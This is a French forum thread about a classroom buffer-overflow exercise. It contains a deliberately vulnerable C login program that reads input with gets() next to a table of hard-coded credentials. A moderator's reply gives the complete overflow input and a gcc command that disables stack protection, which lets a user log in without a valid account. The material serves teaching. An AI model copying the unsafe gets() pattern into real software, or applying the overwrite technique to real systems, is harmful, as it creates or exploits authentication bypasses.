Hacking facile [Résolu]

Messages postés
4
Date d'inscription
samedi 5 décembre 2015
Statut
Membre
Dernière intervention
11 décembre 2015
-
je dois réussir à faire afficher "Bienvenu sur ce systeme..." sans entrer un des nom et mots de passe du tableau users.
Quelqu'un aurait il une idée sur la chaine de caractères à rentrer pour faire un buffer overflow et choisir notre propre nom et mot de passe ?

Code du hack:

#include <stdio.h>

char user_name[20] = "                   ";
char password[20] = "                   ";
char users[][2][20] = 
{ { "root", "98765" },
  { "moi", "allo" },
  { "abc", "motdepasse" },
  { "", "" }
};

int check_name()
{
  int i;
  printf("Nom: "); gets(user_name);
  printf("Mot de passe: "); gets(password);
  
  for(i=0; users[i][0][0] != 0; i++)
  {
    if(strcmp(user_name, users[i][0]) == 0 &&
       strcmp(password,  users[i][1]) == 0)
       return 1;
  }
  return 0;
}

void logon()
{
  printf("Bienvenu sur ce systeme...\n");
  exit(1);
}

void reject()
{
  printf("Connection fermee!\n"); 
  exit(0);
}

main()
{
  unsigned int i;
  for(i=(unsigned)-3; i && !check_name(); i++);
  if(i>=(unsigned)-3)
    logon();
  else
    reject();
}


Résultat attendu:


C:\SSE\hack1>hack1 < monhack1.TXT
Nom: Mot de passe: Bienvenu sur ce systeme...

C:\SSE\hack1>


donc il me faut trouver le bon paramètre à renseigner dans le fichier. Je ne dois pas utiliser les paramètres du tableau suivants :

{ "root", "98765" },
  { "moi", "allo" },
  { "abc", "motdepasse" },
  { "", "" }
Afficher la suite 

10 réponses

Messages postés
4265
Date d'inscription
samedi 8 septembre 2007
Statut
Membre
Dernière intervention
29 août 2018
16
0
Merci
salut,

Je vois pas l'interet de mot "hack" mais bref.

Il faut surtout que tu commence a lire un fichier renseigné directement dans le code et ensuite que tu edit pour passer le nom du fichier en paramètre (int main(int argc, char *argv[]) ).

Mais bon, en l’occurrence je vois pas du tout l'interêt de ton programme ...

naga


PS: le "<" dans ton appel est inutile, et peu même declencher une erreur ..
Commenter la réponse de nagaD.scar
Messages postés
3821
Date d'inscription
dimanche 12 décembre 2004
Statut
Modérateur
Dernière intervention
28 août 2019
85
0
Merci
@nagashima: Il n'y a pas d'erreur dans son énoncé. On lui demande l'écriture d'un shellcode (donc bien un "hack"). Le code donné utilise volontairement des routines non sécurisées, et il est alors aisé de faire un buffer overflow et afficher "Bienvenue sur ce système" sans même connaître le user/pass. Le "<" n'est pas une erreur non plus, car ce n'est pas une lecture de fichier, mais bien une chaîne à envoyer lors d'une "question" en interactif.

Le seul souci c'est qu'il veut qu'on lui fasse son exo (qu'on lui donne la chaîne de caractères finale, cad le "shellcode" qui permet d'overflow). Or, personne ne va lui faire, et s'il nous lit, je l'invite à relire le règlement de ce site :).
Commenter la réponse de cptpingu
Messages postés
4265
Date d'inscription
samedi 8 septembre 2007
Statut
Membre
Dernière intervention
29 août 2018
16
0
Merci
ok je comprends mieux, je pensais qu'il voulait passer son fichier en paramètre et non son contenu ^^ (décidément j'ai pas tilté le post au départ x])
Commenter la réponse de nagaD.scar
Messages postés
4
Date d'inscription
samedi 5 décembre 2015
Statut
Membre
Dernière intervention
11 décembre 2015
0
Merci
cptpingu, je n'ai pas demandé de me résoudre l'exercice, mais de m'aider à comprendre le fonctionnement du programme ou me donner une piste, et je pensais que les forums étaient faits pour ça. Sinon je l'ai résolu.

IBx
Commenter la réponse de IBx
Messages postés
13838
Date d'inscription
mardi 11 mars 2003
Statut
Contributeur
Dernière intervention
19 octobre 2019
311
Commenter la réponse de Whismeril
Messages postés
4
Date d'inscription
samedi 5 décembre 2015
Statut
Membre
Dernière intervention
11 décembre 2015
0
Merci
Merci pour l'info.
Commenter la réponse de IBx
Messages postés
3821
Date d'inscription
dimanche 12 décembre 2004
Statut
Modérateur
Dernière intervention
28 août 2019
85
0
Merci
@IBx: La formulation de ta phrase laissait pourtant fortement à penser que tu désirais uniquement la solution. À relire attentivement: http://www.gnurou.org/writing/smartquestionsfr
Commenter la réponse de cptpingu
Messages postés
4
Date d'inscription
samedi 5 décembre 2015
Statut
Membre
Dernière intervention
11 décembre 2015
0
Merci
@cptpingu: je ferai attention la prochaine fois à mieux formuler ma question. Mais merci pour ton explication, ça m'a permis de résoudre le problème. J'avais juste besoin de ça (piste). Encore merci.
Commenter la réponse de IBx
Messages postés
4265
Date d'inscription
samedi 8 septembre 2007
Statut
Membre
Dernière intervention
29 août 2018
16
0
Merci
Salut,

Du coup pourras-tu indiquer ta solution (ou dans ton cas expliquer ce qui t'as permis de résoudre ton problème) et passer le statut en résolu ?

Ca permettra a d'autres personnes de pouvoir comprendre sans poster de nouveau un message =)

naga
Commenter la réponse de nagaD.scar
Messages postés
3821
Date d'inscription
dimanche 12 décembre 2004
Statut
Modérateur
Dernière intervention
28 août 2019
85
0
Merci
Il est clair que l'auteur du post ne donnera jamais de réponse. J'ai attendu un petit peu avant de poster la solution, pour des raisons évidentes :).

Voici comment procéder:

Il est aisé de produire un buffer overflow et d'écraser le tableau "users", afin d'y écrire un nom + pass sans y avoir accès. Comme le buffer est limité à 20 char pour "password" (avec l'alignement on passe à 32). Alors on "bourre" 32 caractères inutiles. Le 33ème caractères lu par "gets(password)" va alors commencer à écrire dans "users", par dessus la première entrée (donc on peut remplacer "root" par autre chose).
On fait pareil pour le "pass". Une fois "user" et "pass" écrasés et remplacés par ce que l'on veut, il ne reste qu'à le préciser pour "entrer".

Voici la commande finale:
gcc -W -Wall -ansi -pedantic titi.c -fno-stack-protector && ./a.out < toto.txt
Nom: Mot de passe: Nom: Mot de passe: Nom: Mot de passe: Bienvenu sur ce systeme...


Avec toto.txt
osef
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxpass
plop
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxhack
hack
pass



Explication toto.txt:
osef <= On précise un nom bidon, j'aurais pu mettre n'importe quoi <= 20 char
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxpass <= On bourre de 52 char pour écraser user[0][1] (32 char pour atteindre user + 20 char pour atteindre pass).
plop <= On précise un nom bidon, j'aurais pu mettre n'importe quoi <= 20 char
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxhack <= Cette fois on écrase le "user", en bourrant de 20 char suivi de ce que l'on veut.
hack <= Cette fois on donne notre user que l'on a trafiqué
pass <= puis le pass que l'on a trafiqué
<= Ça "matchera" forcément et on entrera sans y avoir été invité, c'est bien hack par buffer overfow :)



Sous gcc, il y a une protection qui empêche ce genre de "hack", il faut donc préciser que l'on ne veut pas protéger le programme via l'option "-fno-stack-protector", sinon le hack ne fonctionnera pas.


Améliorer votre expérience CodeS-SourceS avec ce plugin:
http://codes-sources.commentcamarche.net/forum/affich-10000111-plugin-better-cs-2#cptpingu-signature
Commenter la réponse de cptpingu